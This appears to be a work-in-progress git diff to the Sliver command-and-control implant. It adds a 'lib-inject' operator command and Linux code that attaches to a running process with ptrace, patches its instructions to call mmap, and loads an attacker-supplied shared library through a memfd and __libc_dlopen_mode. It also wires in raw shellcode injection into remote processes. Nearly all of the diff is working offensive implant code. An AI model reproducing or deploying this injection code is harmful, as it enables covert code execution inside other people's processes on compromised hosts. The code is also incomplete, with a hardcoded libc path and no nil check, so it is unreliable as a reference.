lib-inject wip

client/command/commands.go

@@ -2746,6 +2746,27 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("r", "range", "sliver", "Agents range")
 		},
 	})
-
 	con.App.AddCommand(operatorCmd)
+
+	// [ LibInject ] -----------------------------------------------------------------
+	libInjectCmd := &grumble.Command{
+		Name:      consts.LibInjectStr,
+		Help:      "Inject a Linux shared library into a process",
+		LongHelp:  help.GetHelpFor([]string{consts.LibInjectStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			exec.LibInjectCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.Uint64("pid", "Target process ID")
+			a.String("library-path", "Path to the shared library to inject")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(libInjectCmd)
 }

client/command/exec/libinject.go

@@ -0,0 +1,58 @@
+package exec
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+func LibInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	libPath := ctx.Args.String("library-path")
+	pid := ctx.Args.Uint64("pid")
+	data, err := ioutil.ReadFile(libPath)
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Injecting %s into %d...", libPath, pid), ctrl)
+	libInject, err := con.Rpc.LibInject(context.Background(), &sliverpb.LibInjectReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Pid:     pid,
+		Data:    data,
+	})
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+
+	if libInject.Response != nil && libInject.Response.Async {
+		con.AddBeaconCallback(libInject.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, libInject)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response: %s", err)
+				return
+			}
+			con.PrintInfof("Injected %s into %d\n", libPath, pid)
+		})
+		con.PrintAsyncResponse(libInject.Response)
+	} else {
+		con.PrintInfof("Injected %s into %d\n", libPath, pid)
+	}
+
+}

client/constants/constants.go

@@ -216,7 +216,7 @@ const (
 	InteractiveStr        = "interactive"
 
 	PortfwdStr = "portfwd"
-	Socks5Str = "socks5"
+	Socks5Str  = "socks5"
 
 	ReactionStr = "reaction"
 
@@ -228,6 +228,8 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
+
+	LibInjectStr = "lib-inject"
 )
 
 // Groups

implant/sliver/handlers/handlers_linux.go

@@ -19,7 +19,14 @@ package handlers
 */
 
 import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 )
 
 var (
@@ -48,6 +55,7 @@ var (
 
 		sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
 		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
+		sliverpb.MsgLibInjectReq:         libInjectHandler,
 
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific
@@ -72,3 +80,28 @@ func GetSystemHandlers() map[uint32]RPCHandler {
 func GetSystemPivotHandlers() map[uint32]PivotHandler {
 	return linuxPivotHandlers
 }
+
+func libInjectHandler(data []byte, resp RPCResponse) {
+	injectReq := &sliverpb.LibInjectReq{}
+	err := proto.Unmarshal(data, injectReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %s", err)
+		// {{end}}
+		return
+	}
+	err = taskrunner.LibTask(int(injectReq.Pid), injectReq.Data)
+
+	injectRes := sliverpb.LibInject{
+		Response: &commonpb.Response{},
+	}
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("failed to inject lib %s\n", err)
+		// {{end}}
+		injectRes.Response.Err = err.Error()
+	}
+	data, err = proto.Marshal(&injectRes)
+	resp(data, err)
+
+}

implant/sliver/taskrunner/inject_linux_amd64.go

@@ -0,0 +1,514 @@
+package taskrunner
+
+import (
+	"debug/elf"
+	"fmt"
+	"io/ioutil"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+	"os"
+	"runtime"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/unix"
+)
+
+func getSymbolOffset(symbolName, libPath string) (uint64, error) {
+	e, err := elf.Open(libPath)
+	if err != nil {
+		return 0, err
+	}
+	symbols, err := e.DynamicSymbols()
+	if err != nil {
+		return 0, err
+	}
+	for _, s := range symbols {
+		if s.Name == symbolName {
+			return s.Value, nil
+		}
+	}
+	return 0, fmt.Errorf("symbol not found")
+}
+
+func allocateMap(pid int, size uint64, permissions int) (uint64, error) {
+	var (
+		res uint64
+	)
+	err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
+		backupData, err := readMem(pid, regs.Rip)
+		backupRip := regs.Rip
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("readMem:", err)
+			// {{end}}
+			return err
+		}
+		var syscallCall = []byte{0x0f, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // syscall asm instruction
+		err = writeMem(pid, regs.Rip, syscallCall)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("writeMem failed:", err)
+			// {{end}}
+			return err
+		}
+		regs.Rax = syscall.SYS_MMAP
+		regs.Rdi = 0
+		regs.Rsi = size
+		regs.Rdx = uint64(permissions)
+		regs.R10 = syscall.MAP_ANONYMOUS | syscall.MAP_PRIVATE
+		regs.R8 = 0
+		regs.R9 = 0
+
+		err = syscall.PtraceSetRegs(pid, regs)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("PtraceSetRegs failed:", err)
+			// {{end}}
+			return err
+		}
+		// {{if .Config.Debug}}
+		log.Println("[*] Registers set !")
+		// {{end}}
+		err = syscall.PtraceSingleStep(pid)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("PtraceSingleStep failed:", err)
+			// {{end}}
+			return err
+		}
+		_, _, err = ptraceWait(pid)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println(err)
+			// {{end}}
+			return err
+		}
+		err = syscall.PtraceSingleStep(pid)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("PtraceSingleStep failed:", err)
+			// {{end}}
+			return err
+		}
+		_, _, err = ptraceWait(pid)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println(err)
+			// {{end}}
+			return err
+		}
+		var newRegs = &syscall.PtraceRegs{}
+		err = syscall.PtraceGetRegs(pid, newRegs)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("PtraceGetRegs failed:", err)
+			// {{end}}
+			return err
+		}
+		// {{if .Config.Debug}}
+		log.Println("[*] Got registers")
+		// {{end}}
+		res = newRegs.Rax
+		// {{if .Config.Debug}}
+		log.Printf("[*] New RIP at 0x%08x\n", newRegs.Rip)
+		log.Printf("[*] Allocated memory at 0x%08x\n", res)
+		// {{end}}
+		allMaps, err := ProcMaps(pid)
+		if err != nil {
+			return err
+		}
+		// {{if .Config.Debug}}
+		for _, m := range allMaps {
+			if res > uint64(m.StartAddr) && res < uint64(m.EndAddr) {
+				log.Printf("[*] Mapping in %s\n", m.Pathname)
+				break
+			}
+		}
+		// {{end}}
+		err = writeMem(pid, backupRip, backupData)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("writeMem:", err)
+			// {{end}}
+			return err
+		}
+		return err
+	})
+	return res, err
+}
+
+func ptraceWait(pid int) (wpid int, status syscall.WaitStatus, err error) {
+	wpid, err = syscall.Wait4(pid, &status, syscall.WALL, nil)
+	if err != nil {
+		return 0, 0, err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("wait: wpid=%5d, status=0x%06x\n", wpid, status)
+	// {{end}}
+	return wpid, status, nil
+}
+
+func getRegistersAndRestore(pid int, callback func(regs *syscall.PtraceRegs) error) error {
+	backup := syscall.PtraceRegs{}
+	err := syscall.PtraceGetRegs(pid, &backup)
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[*] Old RIP at 0x%08x\n", backup.Rip)
+	// {{end}}
+	regs := backup
+	err = callback(&regs)
+	if err != nil {
+		return err
+	}
+	return syscall.PtraceSetRegs(pid, &backup)
+}
+
+func writeMem(pid int, addr uint64, data []byte) error {
+	c, err := syscall.PtracePokeData(pid, uintptr(addr), data)
+	if err == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[*] Wrote %d bytes\n", c)
+		// {{end}}
+	}
+	return err
+}
+
+func readMem(pid int, addr uint64) ([]byte, error) {
+	res := make([]byte, 2048)
+	_, err := syscall.PtracePeekData(pid, uintptr(addr), res)
+	return res, err
+}
+
+func writeToMemFD(data []byte) (string, error) {
+	newFdName := "_"
+	fd, err := unix.MemfdCreate(newFdName, unix.MFD_ALLOW_SEALING)
+	if err != nil {
+		return "", err
+	}
+
+	pid := os.Getpid()
+	fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
+	err = ioutil.WriteFile(fdPath, data, 0755)
+	if err != nil {
+		return "", err
+	}
+	return fdPath, nil
+}
+
+func getProgName(pid int) (string, error) {
+	var progName string
+	data, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
+	if err != nil {
+		return "", err
+	}
+	for _, b := range data {
+		if b == 0x00 {
+			break
+		}
+		progName += string(b)
+	}
+	return progName, nil
+}
+
+// Make sure we're inside the target main module
+// and not inside some shared library code
+func findSweetSpot(pid int) error {
+	var module *ProcMap
+	progName, err := getProgName(pid)
+	if err != nil {
+		return err
+	}
+	regs := syscall.PtraceRegs{}
+	allMaps, err := ProcMaps(pid)
+	if err != nil {
+		return err
+	}
+	for _, m := range allMaps {
+		if strings.Contains(m.Pathname, progName) && m.Perms.Execute {
+			module = m
+		}
+	}
+	if module == nil {
+		return fmt.Errorf("can't find module")
+	}
+	for {
+		err := syscall.PtraceSingleStep(pid)
+		if err != nil {
+			return err
+		}
+
+		_, _, err = ptraceWait(pid)
+		if err != nil {
+			return err
+		}
+
+		err = syscall.PtraceGetRegs(pid, &regs)
+		if err != nil {
+			return err
+		}
+
+		if regs.Rip > uint64(module.StartAddr) && regs.Rip < uint64(module.EndAddr) {
+			break
+		}
+	}
+	return nil
+}
+
+func callDlopen(pid int, dataAddr uint64, dlopenAddr uint64) error {
+	err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
+		// {{if .Config.Debug}}
+		allMaps, _ := ProcMaps(pid)
+		for _, m := range allMaps {
+			if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
+				log.Printf("[*] RIP in %s\n", m.Pathname)
+				break
+			}
+		}
+		// {{end}}
+		inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
+		// Backup stuff
+		backupData, err := readMem(pid, regs.Rip)
+		backupRip := regs.Rip
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("readMem:", err)
+			// {{end}}
+			return err
+		}
+		regs.Rax = dlopenAddr
+		regs.Rdi = dataAddr
+		regs.Rsi = 2 // RTLD_NOW
+
+		err = syscall.PtraceSetRegs(pid, regs)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("[!] PtraceSetRegs failed: %v\n", err)
+			// {{end}}
+			return err
+		}
+		// {{if .Config.Debug}}
+		log.Println("[*] Registers set!")
+		// {{end}}
+		err = writeMem(pid, regs.Rip, inject)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("[!] writeMem failed:", err)
+			// {{end}}
+			return err
+		}
+		err = syscall.PtraceCont(pid, 0)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("[!] PtraceCont failed:", err)
+			// {{end}}
+			return err
+		}
+		_, _, err = ptraceWait(pid)
+		if err != nil {
+			return err
+		}
+		// {{if .Config.Debug}}
+		log.Println("[*] Got to breakpoint")
+		// {{end}}
+		err = writeMem(pid, backupRip, backupData)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("[!] writeMem failed!")
+			// {{end}}
+			return err
+		}
+		// {{if .Config.Debug}}
+		log.Println("[*] Restored old code")
+		// {{end}}
+		return err
+	})
+	return err
+}
+
+func callDlopenNoRet(pid int, dataAddr uint64, dlopenAddr uint64) error {
+	var regs syscall.PtraceRegs
+	err := syscall.PtraceGetRegs(pid, &regs)
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	allMaps, _ := ProcMaps(pid)
+	for _, m := range allMaps {
+		if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
+			log.Printf("[*] RIP in %s\n", m.Pathname)
+			break
+		}
+	}
+	// {{end}}
+	inject := []byte{0xff, 0xd0, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
+	regs.Rax = dlopenAddr
+	regs.Rdi = dataAddr
+	regs.Rsi = 2 // RTLD_NOW
+	err = syscall.PtraceSetRegs(pid, &regs)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[!] PtraceSetRegs failed: %v\n", err)
+		// {{end}}
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Println("[*] Registers set!")
+	// {{end}}
+	err = writeMem(pid, regs.Rip, inject)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("[!] writeMem failed:", err)
+		// {{end}}
+		return err
+	}
+	return err
+}
+
+func callShellcode(pid int, addr uint64) error {
+	var regs syscall.PtraceRegs
+	err := syscall.PtraceGetRegs(pid, &regs)
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[*] Old RIP at 0x%08x\n", regs.Rip)
+	// {{end}}
+	inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
+	regs.Rax = addr
+	err = syscall.PtraceSetRegs(pid, &regs)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[!] PtraceSetRegs failed: %v\n", err)
+		// {{end}}
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Println("[*] Registers set!")
+	// {{end}}
+	err = writeMem(pid, regs.Rip, inject)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("[!] writeMem failed:", err)
+		// {{end}}
+		return err
+	}
+	return err
+}
+
+// remoteTask injects and run a shellcode in the remote process
+func remoteTask(data []byte, pid int) error {
+	runtime.LockOSThread()
+	defer runtime.UnlockOSThread()
+	// Attach to process
+	err := syscall.PtraceAttach(pid)
+	if err != nil {
+		return err
+	}
+	_, _, err = ptraceWait(pid)
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Println("[*] Attached to", pid)
+	// {{end}}
+	perms := syscall.PROT_EXEC | syscall.PROT_READ | syscall.PROT_WRITE
+	addr, err := allocateMap(pid, uint64(len(data)), perms)
+	if err != nil {
+		return err
+	}
+	err = findSweetSpot(pid)
+	if err != nil {
+		return err
+	}
+	err = writeMem(pid, addr, data)
+	if err != nil {
+		return err
+	}
+	err = callShellcode(pid, addr)
+	if err != nil {
+		return err
+	}
+	err = syscall.PtraceDetach(pid)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+// libraryTask injects a shared library in the process
+// designated by pid
+func libraryTask(data []byte, pid int) error {
+	procMaps, err := ProcMaps(pid)
+	if err != nil {
+		return err
+	}
+	var libcMap *ProcMap
+	for _, m := range procMaps {
+		if m.Offset == 0 &&
+			m.Perms.Read &&
+			!m.Perms.Execute &&
+			!m.Perms.Write &&
+			!m.Perms.Shared &&
+			strings.Contains(m.Pathname, "/usr/lib64/libc-") {
+			libcMap = m
+		}
+	}
+	dlopenOffset, err := getSymbolOffset("__libc_dlopen_mode", libcMap.Pathname)
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[*] __libc_dlopen_mode offset in %s is at 0x%08x\n", libcMap.Pathname, dlopenOffset)
+	// {{end}}
+	runtime.LockOSThread()
+	defer runtime.UnlockOSThread()
+	// Attach to process
+	err = syscall.PtraceAttach(pid)
+	if err != nil {
+		return err
+	}
+	_, _, err = ptraceWait(pid)
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Println("[*] Attached to", pid)
+	// {{end}}
+	perms := syscall.PROT_READ | syscall.PROT_WRITE
+	addr, err := allocateMap(pid, 8192, perms)
+	if err != nil {
+		return err
+	}
+	err = findSweetSpot(pid)
+	if err != nil {
+		return err
+	}
+	memfd, err := writeToMemFD(data)
+	if err != nil {
+		return err
+	}
+	memfdBytes := []byte(memfd)
+	memfdBytes = append(memfdBytes, 0x00)
+	err = writeMem(pid, addr, memfdBytes)
+	if err != nil {
+		return err
+	}
+	// {{if .Config.Debug}}
+	log.Printf("[*] Wrote %d bytes (%s) to 0x%08x\n", len(memfdBytes), memfd, addr)
+	log.Printf("[*] Libc is at 0x%08x, dlopen is at 0x%08x\n", libcMap.StartAddr, uint64(libcMap.StartAddr)+dlopenOffset)
+	// {{end}}
+	err = callDlopenNoRet(pid, addr, uint64(libcMap.StartAddr)+dlopenOffset)
+	if err != nil {
+		return err
+	}
+	err = syscall.PtraceDetach(pid)
+	if err != nil {
+		return err
+	}
+	return nil
+}

implant/sliver/taskrunner/maps_unix.go

@@ -0,0 +1,210 @@
+// Copyright 2019 The Prometheus Authors
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris
+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
+
+package taskrunner
+
+import (
+	"bufio"
+	"fmt"
+	"os"
+	"strconv"
+	"strings"
+
+	"golang.org/x/sys/unix"
+)
+
+// ProcMapPermissions contains permission settings read from /proc/[pid]/maps
+type ProcMapPermissions struct {
+	// mapping has the [R]ead flag set
+	Read bool
+	// mapping has the [W]rite flag set
+	Write bool
+	// mapping has the [X]ecutable flag set
+	Execute bool
+	// mapping has the [S]hared flag set
+	Shared bool
+	// mapping is marked as [P]rivate (copy on write)
+	Private bool
+}
+
+// ProcMap contains the process memory-mappings of the process,
+// read from /proc/[pid]/maps
+type ProcMap struct {
+	// The start address of current mapping.
+	StartAddr uintptr
+	// The end address of the current mapping
+	EndAddr uintptr
+	// The permissions for this mapping
+	Perms *ProcMapPermissions
+	// The current offset into the file/fd (e.g., shared libs)
+	Offset int64
+	// Device owner of this mapping (major:minor) in Mkdev format.
+	Dev uint64
+	// The inode of the device above
+	Inode uint64
+	// The file or psuedofile (or empty==anonymous)
+	Pathname string
+}
+
+// parseDevice parses the device token of a line and converts it to a dev_t
+// (mkdev) like structure.
+func parseDevice(s string) (uint64, error) {
+	toks := strings.Split(s, ":")
+	if len(toks) < 2 {
+		return 0, fmt.Errorf("unexpected number of fields")
+	}
+
+	major, err := strconv.ParseUint(toks[0], 16, 0)
+	if err != nil {
+		return 0, err
+	}
+
+	minor, err := strconv.ParseUint(toks[1], 16, 0)
+	if err != nil {
+		return 0, err
+	}
+
+	return unix.Mkdev(uint32(major), uint32(minor)), nil
+}
+
+// parseAddress just converts a hex-string to a uintptr
+func parseAddress(s string) (uintptr, error) {
+	a, err := strconv.ParseUint(s, 16, 0)
+	if err != nil {
+		return 0, err
+	}
+
+	return uintptr(a), nil
+}
+
+// parseAddresses parses the start-end address
+func parseAddresses(s string) (uintptr, uintptr, error) {
+	toks := strings.Split(s, "-")
+	if len(toks) < 2 {
+		return 0, 0, fmt.Errorf("invalid address")
+	}
+
+	saddr, err := parseAddress(toks[0])
+	if err != nil {
+		return 0, 0, err
+	}
+
+	eaddr, err := parseAddress(toks[1])
+	if err != nil {
+		return 0, 0, err
+	}
+
+	return saddr, eaddr, nil
+}
+
+// parsePermissions parses a token and returns any that are set.
+func parsePermissions(s string) (*ProcMapPermissions, error) {
+	if len(s) < 4 {
+		return nil, fmt.Errorf("invalid permissions token")
+	}
+
+	perms := ProcMapPermissions{}
+	for _, ch := range s {
+		switch ch {
+		case 'r':
+			perms.Read = true
+		case 'w':
+			perms.Write = true
+		case 'x':
+			perms.Execute = true
+		case 'p':
+			perms.Private = true
+		case 's':
+			perms.Shared = true
+		}
+	}
+
+	return &perms, nil
+}
+
+// parseProcMap will attempt to parse a single line within a proc/[pid]/maps
+// buffer.
+func parseProcMap(text string) (*ProcMap, error) {
+	fields := strings.Fields(text)
+	if len(fields) < 5 {
+		return nil, fmt.Errorf("truncated procmap entry")
+	}
+
+	saddr, eaddr, err := parseAddresses(fields[0])
+	if err != nil {
+		return nil, err
+	}
+
+	perms, err := parsePermissions(fields[1])
+	if err != nil {
+		return nil, err
+	}
+
+	offset, err := strconv.ParseInt(fields[2], 16, 0)
+	if err != nil {
+		return nil, err
+	}
+
+	device, err := parseDevice(fields[3])
+	if err != nil {
+		return nil, err
+	}
+
+	inode, err := strconv.ParseUint(fields[4], 10, 0)
+	if err != nil {
+		return nil, err
+	}
+
+	pathname := ""
+
+	if len(fields) >= 5 {
+		pathname = strings.Join(fields[5:], " ")
+	}
+
+	return &ProcMap{
+		StartAddr: saddr,
+		EndAddr:   eaddr,
+		Perms:     perms,
+		Offset:    offset,
+		Dev:       device,
+		Inode:     inode,
+		Pathname:  pathname,
+	}, nil
+}
+
+// ProcMaps reads from /proc/[pid]/maps to get the memory-mappings of the
+// process.
+func ProcMaps(pid int) ([]*ProcMap, error) {
+	file, err := os.Open(fmt.Sprintf("/proc/%d/maps", pid))
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	maps := []*ProcMap{}
+	scan := bufio.NewScanner(file)
+
+	for scan.Scan() {
+		m, err := parseProcMap(scan.Text())
+		if err != nil {
+			return nil, err
+		}
+
+		maps = append(maps, m)
+	}
+
+	return maps, nil
+}

implant/sliver/taskrunner/task_linux.go

@@ -29,6 +29,7 @@ import (
 	"syscall"
 	"unsafe"
 
+	"golang.org/x/sys/unix"
 	//{{if .Config.Debug}}
 	"log"
 	//{{end}}
@@ -50,33 +51,23 @@ func LocalTask(data []byte, rwxPages bool) error {
 	return nil
 }
 
-// RemoteTask -
+// RemoteTask - injects a shellcode into a remote process
 func RemoteTask(processID int, data []byte, rwxPages bool) error {
-	return nil
+	return remoteTask(data, processID)
 }
 
 // Sideload - Side load a library and return its output
 func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
 	var (
-		nrMemfdCreate int
-		stdOut        bytes.Buffer
-		stdErr        bytes.Buffer
-		wg            sync.WaitGroup
+		stdOut bytes.Buffer
+		stdErr bytes.Buffer
+		wg     sync.WaitGroup
 	)
 	memfdName := randomString(8)
-	memfd, err := syscall.BytePtrFromString(memfdName)
+	fd, err := unix.MemfdCreate(memfdName, unix.MFD_ALLOW_SEALING)
 	if err != nil {
-		//{{if .Config.Debug}}
-		log.Printf("Error during conversion: %s\n", err)
-		//{{end}}
 		return "", err
 	}
-	if runtime.GOARCH == "386" {
-		nrMemfdCreate = 356
-	} else {
-		nrMemfdCreate = 319
-	}
-	fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
 	pid := os.Getpid()
 	fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
 	err = ioutil.WriteFile(fdPath, data, 0755)
@@ -115,3 +106,8 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
 	//{{end}}
 	return stdOut.String(), nil
 }
+
+// LibTask - injects a shared object into a remote process
+func LibTask(processID int, data []byte) error {
+	return libraryTask(data, processID)
+}

protobuf/rpcpb/services.pb.go

@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
 	0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
 	0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
-	0x74, 0x6f, 0x32, 0xf0, 0x33, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
+	0x74, 0x6f, 0x32, 0xaa, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
 	0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
 	0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
 	0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -372,84 +372,88 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
 	0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71,
 	0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50,
-	0x72, 0x69, 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73,
-	0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f,
-	0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
-	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
-	0x6e, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74,
-	0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
-	0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
-	0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
-	0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
-	0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e,
-	0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
-	0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,
-	0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c,
-	0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73,
-	0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e,
-	0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
-	0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
-	0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72,
